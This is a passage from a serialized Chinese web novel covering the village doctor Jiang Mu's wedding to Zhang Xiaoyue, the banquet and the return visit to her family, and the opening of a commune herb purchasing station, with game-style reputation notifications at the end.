炕沿上,端坐着一个身穿崭新红布棉袄的姑娘,头上梳着两条油亮的麻花辫,辫梢系着鲜红的头绳。 许是听到了动静,她微微抬起头,露出一张羞赧又精致的脸庞。 今天的张小月,美得让人心颤。 许是上了妆,眉眼如画,唇不点而朱,平日里清秀的面庞此刻艳光四射。 她似乎紧张到了极点,一双小手不停地绞着衣角,指节都有些发白,眼神飘忽,不敢与江沐对视。 江沐的心,瞬间漏跳了半拍。 他深吸一口气,压下心头的悸动,柔声道,“小月,我来接你回家。” 张小月浑身一颤,猛地抬起头,脸颊一下就红了,细若蚊蚋地嗯了一声。 “哎哟,光看可不行啊!”跟进来的张兰婶子笑得合不拢嘴,一把将江沐推到炕沿边,“小江,按老规矩,这新鞋,得你这个新郎官亲自给新娘子穿上!” 江沐从善如流,单膝跪在炕边的脚踏上,从一旁拿过那双崭新的绣花红布鞋。 他轻轻握住张小月小巧的脚踝,那细腻温热的触感让他心头一荡。 他小心翼翼地,将鞋子为她穿好。 穿好鞋,江沐却没有立刻起身。 他直起身子,在众人好奇的目光中,从中山装的内兜里掏出了一个用手帕精心包裹的小物件。 手帕一层层打开,一枚小巧精致的女士手表静静地躺在他的掌心。 银色的表链,秀气的表盘,在屋内昏暗的光线下,闪烁着细碎而迷人的光芒。 手表! 这年头,这可是比自行车还要稀罕的宝贝疙瘩! 张小月更是惊得捂住了嘴,一双杏眼瞪得溜圆。 “你……你这是啥时候买的?”她的声音都在发颤。 这东西,怕不是要把一个家底都掏空了? 江沐却只是温柔一笑,执起她纤细的手腕,不容分说地将手表为她戴上。 “戴着就行,别问那么多。” 冰凉的金属贴上手腕的皮肤,那份沉甸甸的质感,让张小月的心跳瞬间乱了章法。 “好了好了,时辰不早了!”张兰适时地打破了屋里的震惊,“该给岳父岳母敬茶改口了!” 堂屋里,张峰和妻子刘桂芝早已端坐在上首。 江沐拉着还有些云里雾里的张小月,走到两人面前,干脆利落地双膝跪地,双手将一杯热茶高高奉上。 “爸,请喝茶!” “欸!好!好!”张峰眼眶微红,几乎是抢也似地接过茶杯,一饮而尽。 他看着眼前这个挺拔沉稳的女婿,心里是十二万分的满意。 他从怀里掏出一个厚实的红包,塞到江沐手里,郑重道,“以后,我们家小月,就交给你了。你不许欺负她,要一辈子对她好!” “爸,您放心。”江沐郑重地点了点头,承诺掷地有声。 他又转向刘桂芝,奉上第二杯茶。“妈,请喝茶。” “好孩子,快起来。”刘桂芝眼圈红红的,接过茶水,也递上一个红包。 她看着自己的女儿,满眼都是不舍。 吉时已到,张小月的大爷站了出来,高声喊道:“送新娘子出门——” 刘桂芝从一旁的桌上拿起一双崭新的红筷子,塞到张小月手里,哽咽着叮嘱:“小月,拿着。等会儿出了门,就往后扔,别回头……” “妈……”张小月的眼泪终于忍不住了。 一想到从此就要离开这个家,她的心就像被什么东西揪住了一样疼。 刘桂芝心疼地替她擦去眼泪,拿起红盖头,轻轻地为她盖上。 下一刻,江沐弯下腰,手臂一用力,便将张小月稳稳地打横抱起。 “啊!”张小月一声惊呼,下意识地搂住了他的脖子。 江沐抱着她,大步流星地朝外走去。 跨出院门的那一刹那,张小月遵循着母亲的嘱咐,将那双筷子奋力向身后抛去。 院子里,刘桂芝再也忍不住,捂着脸泣不成声。 “嫂子,别哭了!这是大喜的日子!”张兰走上前,拍着她的肩膀不住地安慰,“小江是个好孩子,小月嫁过去,不受委屈!” 江沐抱着张小月,将她稳稳地放在了那辆系着大红绸的二八大杠后座上。 他跨上车,脚下用力一蹬,车子便平稳地驶了出去。 车队浩浩荡荡地回到了青莲公社二大队。 村口,早就翘首以盼的孩子们一下全都围了上来,欢呼着,跳跃着。 “新娘子回来啦!” 第85章 他江沐,是我沈焱看重的人 “给糖!给糖!” 负责撒糖的高建设早有准备,抓起一把把五颜六色的水果糖,撒向人群。 孩子们顿时沸腾了,尖叫着扑过去,在地上抢作一团,场面热闹非凡。 到了家门口,一个火盆早已备好。 江沐扶着张小月,牵着她的手,从火盆上一步跨过,寓意着日子红红火火,驱邪避秽。 随后,他将张小月一路送进了早已布置一新的婚房。 简单的婚礼仪式就在院子里举行。 在大队书记高志强的主持和见证下,小两口拜了天地,就算正式礼成。 仪式一结束,院子里的二十桌喜宴便正式开席。 江沐和张小月开始挨桌敬酒,招呼客人。 “小江,恭喜恭喜啊!”孙阳,周志康,卫生院的孙院长,还有杨小军结伴而来,几人脸上都挂着真诚的笑容,每人都随了十块钱的份子钱,这绝对算是一份厚礼。 江沐心中感激,连声道谢。 正热闹间,一辆吉普车竟开到了院子外头,引得众人纷纷侧目。 车门打开,沈焱县长的司机小赵快步走了进来。 “江沐同志,恭喜!”小赵满脸堆笑地递上两个红包,“沈县长今天有个紧急会议实在走不开,特地让我代表他来喝杯喜酒。这是我个人的一点心意,十块钱。” 他顿了顿,将另一个更厚的红包郑重地交到江沐手上。 “这个,是沈县长给的,五十块!” 五十! 所有人都被这个数字给震住了。 五十块钱! 众人看向江沐的眼神,瞬间充满了探究。 江沐也是心头一震,连忙道谢收下。 他知道,这是沈焱在向所有人表明一种态度——他江沐,是我沈焱看重的人! 而此时,在不远处的知青点里。 几个男女知青聚在一起,听着江沐家院子里传来的喧天锣鼓和欢声笑语,脸上神情各异。 “江沐这婚礼办得可真气派,连县长的司机都去了!”一个女知青酸溜溜地开口。 “何止啊,你没听见吗?沈县长随了五十块!天哪,五十块!” “咱们……要去随礼吗?”有人迟疑地问。 众人瞬间沉默了。 去?他们一个月津贴才几个钱,随礼最少也得一两块,那可是他们半个月的伙食。 可若是不去,江沐如今在公社里可是炙手可热的人物,连周书记都对他客客气气的,以后抬头不见低头见,岂不是把人得罪死了? 一时间,所有人都陷入了两难的境地。 吴有才的眉头拧成了一个疙瘩,去,还是不去?这问题烫得他心里七上八下的。 自从赵卫东和陈小军那档子事儿出了以后,他们知青点在公社里就蔫了。 走哪儿都感觉有人在背后戳脊梁骨,腰杆子都挺不直。 他们和江沐的关系,更是说不上好,顶多算个点头之交,甚至还有些若有若无的隔阂。 现在江沐这场婚礼,办得石破天惊,连县长都送来了五十块的贺礼,这已经不是普通的知青结婚了,这简直是在公社里立起了一杆大旗! 他深吸一口气,目光扫过屋里神色各异的众人,声音有些干涩。 “都说说,什么个意思?这礼,咱们是随还是不随?” “去!怎么不去!”话音刚落,赵怀喜就第一个蹦了起来,“吴点长,这可是个机会!以前咱们是咱们,江沐是江沐,没啥交情。可现在不一样了,他江沐眼瞅着就要一飞冲天,咱们现在去送份礼,说句好话,这叫锦上添花!总比以后真有事了,想找人都敲不开门要强吧!” 他这番话说得直白又现实,让在场的几个人都陷入了沉思。 另一个女知青邹芳芳也跟着点头附和。 “怀喜说得对。江沐他人不坏,之前还帮过咱们。咱们就这么干看着,倒显得小家子气了。” 吴有才看向赵怀喜,又问了个最关键的问题。 “那……这礼金,怎么随?” 这一下又问到了所有人的痛处。 他们这些人,兜比脸都干净,谁能拿出那十块八块的巨款? 赵怀喜却像是早就想好了,一拍大腿。 “咱们不跟那些大人物比,也别打肿脸充胖子。就跟村里人一个章程,凑一凑,一人出两毛钱!钱不在多少,人到了,心意到了,这就够了!” 两毛钱! 这个数字让所有人都松了一口气。 不多,但也不至于空着手去,刚刚好。 “行!就这么办!”吴有才猛地一拍桌子,下了决心。 说干就干,几个人立刻凑了钱,吴有才领着赵怀喜、邹芳芳等五六个知青,朝着那片红火喧天的院子走去。 刚一进院门,负责记账的后生就高声吆喝了一声。 吴有才领着人上前,将凑好的礼金递了过去,报上几个人的名字。 江沐正陪着客人说话,听到动静回头一看,有些意外。 他没想到,知青点的人居然会来。 吴有才脸上挤出笑容,快步上前。 “江沐,恭喜恭喜啊!我们来给你道喜了!” “吴点长,你们能来,我很高兴。”江沐的表情真诚,没有半分虚伪。 这份坦然让吴有才等人心里踏实了不少。 邹芳芳几个女知青眼疾手快,打了声招呼就主动卷起袖子,帮着端茶倒水,收拾碗筷,倒也显得落落大方。 很快,菜肴的香气便弥漫了整个院子,李有柱扯着嗓子高喊一声开席喽,气氛瞬间被推向了高潮。 高志强今天负责张罗席面。 他手脚麻利地指挥着众人:“都别站着,赶紧找地方坐!女方家的亲戚,这边上席请!” 江沐连忙拉住他,低声嘱咐。“强叔,周书记、孙院长他们,你可得照顾好了。” 高志强拍拍胸脯道。 “放心!误不了事!” 周志康却摆了摆手,笑道,“小江,别管我们!你小子今天就一个任务,当好你的新郎官!忙你自己的去!” 高志强先把张家来的亲戚朋友们妥妥当当地安排在了最尊贵的几桌,随后又请村里德高望重的老人入了席。 二十张桌子座无虚席,一道道硬菜流水般地被端了上来。 油光锃亮、酱香扑鼻的红烧肘子,堆成小山似的焦黄炸丸子,切得整整齐齐、飘着一层油花的白切肉……每一道菜都分量十足,用料扎实,看得人眼花缭乱,口水直流。 院子里响起一片吸溜口水和筷子碰撞的声音。 在座的大多数人,这辈子都没见过这么丰盛的席面,这哪里是结婚,这简直比过年还要阔气! 作为老丈人的张峰,此刻更是红光满面,端着酒杯的手都有些颤抖。 他听着耳边一句句赞叹,心里比喝了蜜还甜。 “老张,你这可是找了个金龟婿啊!你家小月,有福气!” “可不是嘛!这席面,啧啧,全公社都找不出第二家!” 张峰咧着嘴,一杯接一杯地喝着酒,只觉得这辈子都没这么风光过。 第86章 有媳妇就是好啊 眼看天色不早,张家的亲戚们起身告辞。 江沐和张小月一起,将岳父岳母一家人送到了村口。 分别在即,张峰拉着江沐的手,双眼满是不舍。 “小江啊,以后我们家小月,就……就全交给你了。她脾气有时候倔,你多让着她点。两口子过日子,锅碗瓢盆难免磕磕碰碰,互相担待着点……” “爸,您放心。”江沐紧紧回握住他粗糙的大手,承诺道,“我不会让她受半点委屈!” 一旁的刘桂芝眼圈早就红了,她一把拉开还在絮叨的丈夫,朝江沐挥了挥手。 “行了行了,快回去吧!家里还有那么多客人呢!” 张小月看着父母和亲人逐渐远去的背影,终于再也忍不住,泪水簌簌地往下掉。 “妈……”她哽咽着。 一只温暖的手拍了拍她的后背,是张兰婶子。 “傻丫头,哭啥?这不就在一个公社嘛,想家了,让你小江骑车送你回来就是!快回去,新娘子可不能哭花了妆!” 送走了女方亲戚,周志康、孙院长等一众领导也相继告辞。 院子里的人顿时少了一大半。 高志强站在院子中央,把手拢在嘴边,用尽全身力气大吼一声。 “书记他们都走了,剩下的都是咱自家人!还没吃好的爷们、婆姨、半大小子们,都别拘着了!赶紧上桌,开第二轮!” 他这话一出,原本还在帮忙收拾的乡亲们顿时爆发出一阵叫好声。 高志强咧嘴一笑,声音里充满了庄稼人特有的豪迈。 “吃好!喝好!今天小江大喜的日子,都给咱吃尽兴了!” 江沐端着满满一碗酒,在一片喧闹中,首先走到了满面油光、正擦着汗的赵厨子面前。 “赵叔,今天辛苦您了!这顿席面,整个公社都挑不出第二家!我敬您!” 赵厨子咧着大嘴,笑得见牙不见眼,他拿自己的粗瓷碗跟江沐的碗重重一碰,酒都溅了出来。 “江医生你这话说的!客气了!”他一口干了碗里的酒,用袖子抹了抹嘴,声音洪亮。 “啥也别说,祝你跟新媳妇早生贵子!到时候办满月酒,还找你赵叔,给你整更好的!” 江沐心里一暖,这份朴实的好意千金不换。“一定!到时候还请您掌勺!” 他又满上一碗,转身走向正指挥着几个半大小子收拾桌子的高志强。 “强叔,今天从里到外,全靠你张罗了。没你,我这婚礼办不成这么利索。这碗酒,我必须敬你!” 高志强黝黑的脸上泛着红光,他摆着手,显得有些不好意思。 “哎,说这话就见外了!你的事,就是咱二大队的事!” 话虽如此,他还是豪爽地端起酒碗,跟江沐一饮而尽。 看着江沐一碗接一碗地喝,张小月站在他身后,心里又甜又急。 她悄悄伸手,扯了扯江沐的衣角,一双水汪汪的眼睛里满是心疼。 这酒这么喝,身子怎么受得了? 江沐回头,给了她一个安心的笑容。 他轻轻拍了拍她的手,随即端着酒碗,走到了李有柱面前。 “姑父!” 这一声称呼,清清楚楚,掷地有声。 整个院子瞬间静了一下,随即爆发出更大的哄笑声。 李有柱正端着酒杯,闻言手一抖,差点把酒洒了。 他抬起头,看着江沐真诚的眼神,“哎!好小子!”他应了一声。 江沐将碗里的酒一饮而尽,声音里带着前所未有的归属感。 “以后也是有亲戚护着的人了!” “哈哈哈,那可不!以后谁敢欺负江医生,先问问咱们二大队答应不答应!” “有柱队长这下可成了皇亲国戚了!” 乡亲们七嘴八舌地打趣着,气氛热烈到了极点。 酒席一直闹到天色擦黑才算真正结束。 众人也不用吩咐,自发地帮着收拾碗筷,搬桌子抬板凳,院子里虽然狼藉,却透着一股子人情味儿。 江沐看着剩下的菜肴,高声宣布。 “乡亲们,剩下的菜别浪费!留出两桌的量,晚上咱自家人热热吃。其余的,各家拿盆拿碗,都分了!沾沾喜气!” 这话一出,又是一阵欢呼。 在这缺油少盐的年头,这可是实实在在的好处。 高志强拿着一个红布包和一个小本子走了过来,递给江沐。 “小江,这是礼簿和收的份子钱,你点点。一共是一百零八块六毛。” 一百多块! 这在当时,可是一笔巨款! 江沐看都没看,直接转身,将那沉甸甸的红布包塞到了张小月手里。 “拿着。” 张小月浑身一僵,下意识就想推回去。 “这……这我不能要……” 江沐却不容她拒绝,握住她的手道,“咱们家,以后我负责挣钱,你负责管钱。” 这话,比任何山盟海誓都让张小月心安。 她的脸颊瞬间红透,低着头,紧紧攥着那个布包。 送走了高志强和最后一批帮忙的乡亲,喧闹了一整天的院子终于安静下来。 只剩下江沐和张小月两个人,站在挂着红灯笼的屋檐下。 江沐长长地舒了一口气,一整天的精神紧绷和迎来送往,此刻疲惫不已。 回到新房,暖黄的灯光下,喜字红得耀眼。 张小月将那个红布包放在桌上,犹豫再三,还是推到了江沐面前。 “这钱太多了,还是你收着吧。” 江沐已经脱了外套,累得往床上一倒,他侧过头,看着灯下拘谨不安的新婚妻子,笑了。 “让你管着,你就管着。听我的。” 张小月咬了咬嘴唇,心怦怦直跳。 她不再推辞,小心翼翼地收起布包,在屋里转了半天,最后打开一个崭新的木箱子,将布包压在了最底下,还用几件新衣服盖得严严实实,这才松了口气。 等她回过身,却发现江沐已经头枕着大红的枕头,呼吸均匀地睡着了。 他实在是太累了。 张小月看着他沉睡的脸,眼底泛起心疼。 她没有叫醒他,而是轻手轻脚地给他盖好被子,然后转身出了门,借着月光,开始默默收拾院子里最后的零碎。 这一觉,江沐睡得昏天黑地。 直到晚上七点多,院门外传来了李有柱和高志强的说笑声,张小月才走进屋,轻轻推了推他。 “江沐,醒醒,姑父他们来了。” 江沐迷迷糊糊地睁开眼,只觉得浑身酸软。 “水给你打好了,就在盆里,快去洗把脸精神精神。”张小月声音轻柔。 江沐坐起身,看着已经端到面前的脸盆和崭新的毛巾,心里一片滚烫。他接过毛巾,故意在张小月脸上蹭了一下,惹来一声轻嗔。 “有媳妇就是好啊。”他低声调侃。 第87章 以后,再也不是一个人吃饭了 晚饭没外人,就李有柱和高志强两家人,围着一张八仙桌,吃的都是白天的剩菜,但气氛却比白天更亲近、更自在。 江沐忽然放下了筷子,郑重道,“姑父,强叔,有件事跟你们说一下。我之前跟公社提的药材收购点,书记已经批了。定在九月一号,就正式开始收。” 李有柱的眼睛一下亮了! 这可是关系到全大队社员钱袋子的大事! “那收购标准和价钱……” “这个你们放心。”江沐胸有成竹。 “到时候杨小军会亲自把单子送过来,什么药材什么价,什么品相什么等级,写得清清楚楚,保证公道。” “太好了!”李有柱一拍大腿,激动道,“这下大家伙儿的干劲更足了!” 这顿饭吃到了快十一点,几个男人喝得兴起,还在高谈阔论。 张兰婶子看不下去了,走过来挨个拍了他们一下。 “行了行了!都多晚了还喝!新郎官累了一天了,你们也体谅体谅,别耽误人家小两口办正事!” 办正事三个字惹得高志强等人一阵哄笑,张小月的脸更是红透了。 众人心领神会,纷纷起身告辞。 院门关上,世界彻底安静了。 屋里只剩下两人交错的呼吸和心跳声。 红烛摇曳,光影朦胧。 江沐看着眼前羞得头都不敢抬的姑娘,一步步走上前,轻轻握住了她的手。 第二天天不亮,江沐就醒过来了。 他睁开眼,身边是张小月均匀的呼吸声,被面上还残留着她身上淡淡的皂角香气。 昨夜的疲惫与酒意已经散去,只剩下前所未有的安宁。 他轻手轻脚地起身,生怕惊扰了新婚妻子的好梦。 院子里,虎虎和生威听到动静,已经摇着尾巴凑了上来,用脑袋亲昵地蹭着他的裤腿。 江沐蹲下身,挨个揉了揉它们毛茸茸的大脑袋,压低了声音。 “去,自个儿玩去,别吵着你女主人睡觉。” 两只大狗仿佛听懂了,呜咽了两声,便乖乖地跑到墙角趴下了。 解决了个人问题,又在院里打了套拳,舒展了筋骨,江沐感觉浑身都透着一股舒坦劲儿。 等他端着水盆回到屋里时,张小月正好揉着眼睛坐起来,大红的被子从她圆润的肩头滑落。 她穿好衣服,赤着脚刚一沾地,身子就是一晃,险些没站稳,连忙扶住了床沿,俏脸立刻一红。 江沐看得真切,故意凑上前去。 “怎么,路都走不稳了?要不要我扶着?” “你……你胡说八道什么!”张小月又羞又气,抓起床上的枕头就朝他丢了过去。 江沐一把接住枕头,笑意更浓。 “我可什么都没说。对了,今天不是还要回门吗?再不起,太阳可要晒屁股了。” “就你记性好!”张小月瞪了他一眼。 她麻利地穿好鞋,一边整理着有些凌乱的头发,一边吩咐,“回门的东西你可得准备好了,不能失了礼数。” “放心,都妥了。” 两人打闹着洗漱完毕,江沐果然从里屋拎出了七八个用红纸包好的礼包,码得整整齐齐。 张小月看得眼都直了。 只见那礼包里,有给岳父准备的好烟好酒,有给岳母扯的新布料,还有给哥哥嫂嫂的麦乳精和红糖,甚至连几个小侄子侄女,都准备了水果糖和花花绿绿的玻璃弹珠。 满满当当,一共七份,样样都体面又实在。 这心思,也太周到了! 江沐将东西一一放进一个大竹筐里,转身进了厨房,张小月正准备生火。 他很自然地从她手里接过火柴和引火的干草。 “我来吧,你去淘米。” 灶膛里很快升腾起温暖的火光,映着江沐专注的侧脸。 他熟练地拉着风箱。 张小月看着这一幕,心中一片柔软。 江沐感受到她的目光,回头一笑,“以后,再也不是一个人吃饭了。” 一句话,让张小月的眼眶瞬间就热了。 吃过早饭,江沐背上沉甸甸的竹筐,和张小月一起锁上院门,朝着三大队的方向走去。 虎虎和生威跟在他们身后,寸步不离,江沐回头看了两眼,也没赶它们,就由着它们当起了护卫。 还没到三大队村口,就看见张小月的父亲张峰正踮着脚朝这边张望。 “来了来了!可算把你们盼来了!”张峰一个箭步冲上来,热情地就要去接江沐背上的竹筐。 “爸,你别管,让江沐自己背着!”张小月连忙拦住。 一顿午饭,张家是拿出了最高规格的招待。 鸡鸭鱼肉摆了满满一桌,张玖博和几个本家的叔伯兄弟,轮番上阵,非要把这个新妹夫灌趴下不可。 江沐来者不拒,酒到杯干,豪爽得很。 只是那眼神,自始至终都清明一片。 他心里有数,这是老丈人家的考验,也是一种认可。 这顿饭直吃到下午两点多,江沐才在张家众人热情的相送下,带着已经有些微醺的张小月回了家。 一进院门,张小月就心疼地扶着他。 “看你,喝了那么多,快去床上躺会儿。” 江沐确实感觉有些上头,顺势就被她推进了新房,头一挨着枕头,浓浓的睡意便席卷而来。 他这一觉,又睡到了天擦黑。 醒来时,厨房里已经飘出了饭菜的香气,张小月正哼着小曲,忙得不亦乐乎。 晚饭很简单,就是热了中午带回来的剩菜,又熬了一锅小米粥。 饭桌上,烛光摇曳,张小月给江沐盛了一碗粥,犹豫了半晌,才轻声开口。 “江沐,咱们结婚这么大的事,你……给家里写信了吗?” 江沐夹菜的动作顿了一下,随即若无其事地将一块鸡肉放进嘴里,语气平淡道。 “没写。写了干嘛?人家又不当一回事。” 听到这话,张小月鼻子一酸,眼泪就毫无预兆地滚落下来,一滴一滴,砸在桌面上。 她想起了村里关于江沐的那些传言,说他家里关系不好,是继母为了自己的亲儿子,才把他弄到这山沟沟里来的。 原先还觉得是闲话,可现在看江沐的样子,她全信了。 这得是受了多大的委屈,才能在提起家这个字时,任何波澜都没有? 第88章 这事儿肯定没问题 江沐彻底慌了神,他最见不得张小月掉眼泪。 他连忙放下碗筷,手忙脚乱地去擦她的脸。 “哎,你哭什么呀!好端端的,快别哭了。” 张小月却越哭越凶,哽咽着,话都说不囫囵。 “我……我就是心疼你……” 江沐的心又酸又胀。 他叹了口气,将她揽进怀里,轻轻拍着她的背。 “傻丫头。那些都过去了。” 他的声音温柔,“我以前是一个人,可现在不是了。我不是有你了吗?以后我们还会有孩子,有我们自己的家。人要往前看,对不对?” 张小月在他怀里重重地点了点头,哭声渐渐止住。 她抬起泪眼婆娑的脸,坚持着自己的想法。 “可……可这毕竟是人生大事。不管他们怎么想,咱们的礼数得到位。你还是该写封信告诉他们一声。” 看着她眼里的执拗,江沐的心软成了一片。 他知道,她是在用自己的方式,维护他的尊严。 “好,听你的。过两天我就写。” 八月三十一,天光大亮。 江沐换上一身干净的衣服,准备去卫生室。新婚燕尔,可病人们等不了。 “我先去卫生室那边看看,你今天有什么打算?”他一边整理着自己的医药箱,一边问。 张小月已经将院子扫得干干净净,此刻正拿着一把崭新的锄头。 “咱家院子后面那块自留地,一直荒着。我想趁着这两天天气好,把它开出来,种点菜。” 江沐闻言,立刻放下了医药箱。 “我跟你一起去!” “哎?你不用去卫生室吗?”张小月有些惊讶。 江沐走到她身边,拿过她手里的锄头,在自己肩上掂了掂,笑道。 “不差这一时半会儿。咱俩一起干活快。再说了,有人看病,让他们直接来地里喊我就是了。咱们家这块地,全大队谁不知道?” 两口子说干就干,一人一把锄头,径直走向院后那片荒了小半年的自留地。 八月底的太阳依旧毒辣,没一会儿,两人额上就见了汗。 锄头翻飞,黑色的泥土被一层层掀开,带着独有的腥甜气息。 汗水顺着江沐的额角滑落,滴进地里,张小月也没闲着,跟在他身后,用耙子将翻起的大块泥土仔细地耙碎、平整。 她看着江沐赤着膀子,古铜色的皮肤在阳光下泛着健康的光泽,肌肉线条流畅而充满力量,每一次挥锄都显得毫不费力。 她心里又甜又软,手上的力气也更足了。 “歇会儿吧。”江沐停下来,用挂在脖子上的毛巾擦了把汗,看着已经初具雏形的菜地,满意道,“这地算是弄好了,就是没个遮拦,回头鸡鸭都得来刨食。” 张小月也直起腰,捶了捶有些酸胀的后腰,附和着,“是得弄个篱笆围起来。后山坡上竹子多,砍些回来正好。” “你在家等着,我去。”江沐不假思索地揽下了活儿。 “那地方路不好走,你别去了。” 张小月也没跟他争,只乖巧地点头,“那你小心点,早些回来。” 江沐的速度极快,不过半个多小时的功夫,就扛着一大捆削好的青竹条回了家。 两人又是一阵忙活,一个挖坑,一个插竹,配合得天衣无缝。 等到日头升到正空,一个齐整又牢固的竹篱笆便将这片地围了起来。 午饭刚过,江沐正打算小憩片刻,院门外就传来了急促的喊声。 “江医生!江医生在家吗?俺家老婆子肚子疼得在地上打滚,您快去给瞅瞅!” 江沐坐起身,抓起医药箱就往外走,只来得及回头对张小月嘱咐一句,“我去看个病人,晚饭前肯定回来。” 看着他匆匆离去的背影,张小月满是骄傲。 她没闲着,从屋角拎出两个木桶,去了趟队里的粪池,挑了满满两担沤好的农家肥,仔仔细细地给新翻的菜地施了一遍。 做完这些,她才拿出早就备好的白菜和萝卜种子,小心翼翼地撒进土里。 她望着这片承载着希望的土地,仿佛已经看到了几个月后,满园翠绿、硕果累累的景象。 天色将晚,炊烟袅袅。 江沐还没回来,院门却被叩响了。 张小月打开门,竟是李有柱和高志强。 “小月,江沐在家不?”李有柱的大嗓门有些急切。 “姑父,高书记,快屋里坐!江沐给人看病去了,应该就快回了。”张小月连忙将人请进屋,倒了两碗热茶。 高志强端起碗,开门见山,“江沐媳妇,我们来,是想问问药材那事儿。” 他看向李有柱,李有柱立刻会意,郑重道。 “江沐啊,他得给姑父交个底,那收药材的事儿,到底靠不靠谱?”李有柱一口气喝干了碗里的茶,“这要是黄了,你姑父我这张老脸可就没地儿搁了!全大队的乡亲们可都盯着呢!” 话音刚落,江沐就从门外走了进来,他听见了后半句,笑道。 “李队长,高书记,你们就把心放回肚子里。明天人就到,准时准点。” 回到家,张小月已经将饭菜温在锅里。饭桌上,她看着江沐,欲言又止。 江沐给她夹了一筷子菜,安抚道,“药材收购的事,我想让你来负责登记和过秤。你识字,心又细,最合适不过了。” “我?”张小月手里的筷子差点掉在桌上,“我不行的!这么大的事,万一我弄错了……” “紧张什么?”江沐握住她有些发凉的手,柔声道,“你男人在后面给你撑腰呢。你就负责记个账,收个药材,谁敢找麻烦?就当是给你找个正经活干,以后你也是拿工资的人了。” “可是……” “别可是了。”江沐打断她,“干两天,熟悉了就好了。一切有我。” 第二天一大早,天刚蒙蒙亮,江沐和张小月就来到了大队部的院子里。 没想到,这里已经黑压压地挤满了人,交头接耳。 看到江沐夫妇,人群立刻骚动起来。 “江医生,今儿真就开始收了?” “价钱咋样啊?可别让咱们白忙活一场!” 江沐抬手向下压了压,随后道,“这事儿肯定没问题!” 就在这时,一阵引擎声由远及近。 所有人都循声望去,只见一辆崭新的绿色解放卡车,颠簸着驶进了院子,瞬间让所有的声音都安静了下来。 第89章 江医生!您可真是我们的大恩人 车门打开,一个穿着的确良衬衫的年轻人跳了下来,正是杨小军。 他先是快步走到李有柱面前,热情地握手。“李队长,久等了!” “杨同志可算把你盼来了!”李有柱激动得满脸通红,“你瞅瞅,听说今儿开始收药材,大伙儿天不亮就全在这等着了!” 杨小军笑着点点头,随即径直走向江沐,又从车上叫下来一个看着老实巴交的中年男人。 “江哥,给你介绍一下,这是我姐夫,牛水生。”他拍了拍牛水生的肩膀,“以后我可能没时间趟趟过来,账就由我姐夫来结,你放心,绝对靠谱!” “江医生好。”牛水生憨厚地笑了笑,朝江沐伸出了手。 江沐与他握了握,简单寒暄两句。 杨小军从随身的公文包里掏出一个红本本和一张纸,直接递给了张小月。 “嫂子,这是县药材站给你办的工作证,以后你就是咱们青莲公社收购点的正式记录员了。这是收购价格表,你收好。” 张小月双手接过。 “江哥,咱们之前说的那个滋补丹,药材收齐了咱就开干?”杨小军压低了声音。 “就按计划来。”江沐干脆利落地应下。 “得嘞!”杨小军看事已办妥,转身就准备上车,“我今儿还得跑好几个地方,先走了!” 他一只脚刚踏上车,却猛地一拍脑门,又跳了下来,几步跑到江沐跟前,神神秘秘地开口。 “江哥,差点忘了件大事!我老丈人有个老战友,以前在战场上伤了腿,这些年找了多少大夫都没用。他听说你的事迹,非要我来请你,去市里给瞧瞧。” 他看江沐没立刻答应,急忙补充,“后天,后天我开车来接你!车接车送,绝对不让你费事!” 杨小军风风火火地走了,李有柱和高志强立刻围了上来,脸上是掩不住的喜色和激动。 江沐看向李有柱,“李队长,用大喇叭广播一下吧。” “好嘞!” 李有柱清了清嗓子,拿起大队部办公室的话筒,他那洪亮的声音通过高处的喇叭,瞬间传遍了整个青莲公社的每一个角落。 “喂喂!都听好了啊!咱公社跟县里药材站搭上线了,从今天起,正式收购药材! 但是有规矩,为了安全,也为了不把山挖秃了,每家每户,最多只许一个人进山挖药!听清楚了,就一个人! 谁家要是敢多去,查出来全家都取消资格!” 他顿了顿,深吸一口气,“下面,我念一下收购价格!都竖起耳朵听好了!” “天爷哎!一斤干枣核能卖八分钱?俺没听错吧?” “酸枣!漫山遍野的酸枣,一斤也能卖两分!这哪是酸枣,这简直就是钱串子!” 前一秒还围着看热闹的社员们,下一秒扭头就往家里疯跑。 那架势,仿佛跑慢一步,山上的钱串子就要被别人给薅光了。 锄头、镰刀、背篓、麻袋……凡是能用上的家什,全都被他们从犄角旮旯里翻了出来。 一时间,整个青莲公社都动了起来。 没过多久,邻近几个生产大队的队长也闻讯赶来。 他们围着李有柱和高志强,七嘴八舌地打探消息的虚实。 “老李!你这是攀上高枝了?县药材站能直接到你们这儿设点?” “这价格是真的不?可别是哄咱们玩的吧?” 李有柱此刻的腰杆挺得笔直,黝黑的脸上泛着红光。 他大手一挥,指着院里那辆崭新的解放卡车,嗓门比喇叭还响亮,“瞧见没?县里的车!我们队的江沐,江医生!人家有这本事!你们也赶紧回去通知社员吧,别耽误了挣钱!” 几位队长得了准信,羡慕得眼睛都红了,撂下几句场面话,便往回赶。 转眼间,原本喧闹的院子就只剩下了江沐和张小月两个人。 张小月看着空荡荡的院子,又望了望远处的山林,心里也跟着火热起来,她拽了拽江沐的衣角,轻声道。 “当家的,咱们也去吧?趁着今天不上工,多少也能挣点。”她也想跟着去,为这个家多出一份力。 江沐却摇了摇头,伸手将她额前的一缕乱发拨到耳后,温和道,“你去干啥?你是咱们收购点的记录员,是拿工资的干部。再说了,收这些药材的差价,还有你的工资,比你上山挖一天挣得多多了。你就安安心心在这儿等着,准备大干一场。” 张小月听了便不再坚持,乖巧地点了点头。 等到下午,太阳开始偏西,通往山里的那条小路上,陆陆续续出现了社员们的身影。 大部分人都背着沉甸甸的背篓,里面装满了红中带青的酸枣。 人群在院子里自动排起了长队,脸上带着疲惫,眼神里却闪烁着兴奋的光芒。 “江医生,给俺称称!” “先来后到,排队排队!” 江沐早就准备好了大秤,他一手扶着秤杆,一手拨着秤砣,动作麻利而精准。 “王大娘,酸枣,三十五斤!” 张小月则坐在一张小桌子后面,手里的笔不停地在账本上记录着,字迹清秀工整。 江沐报完数,便从旁边撕下一张早就裁好的白纸条,写上名字、品类和重量,递给对方。 “大娘,条子收好,等周一,拿着条子来统一结账。” “欸!好嘞!”王大娘接过那张薄薄的纸条,小心翼翼地折好放进贴身的口袋里。 她盘算着,三十五斤,一斤两分钱,这就是七毛钱! 顶她出满勤上工好几天了! “江医生!您可真是我们的大恩人!” 几个上了年纪的老人捏着那张写着一串数字的白条子,手都在抖。 他们平时上山下工,累死累活一天也就挣八个公分,年底分不上几个钱。 如今就这么忙活一个下午,就挣了好几毛,甚至一块多钱。 这在他们看来,简直是想都不敢想的美事。 【叮!收获来自王大娘的感激,声望值+1!】 【叮!收获来自赵大爷的敬佩,声望值+1!】 【叮!收获来自……】 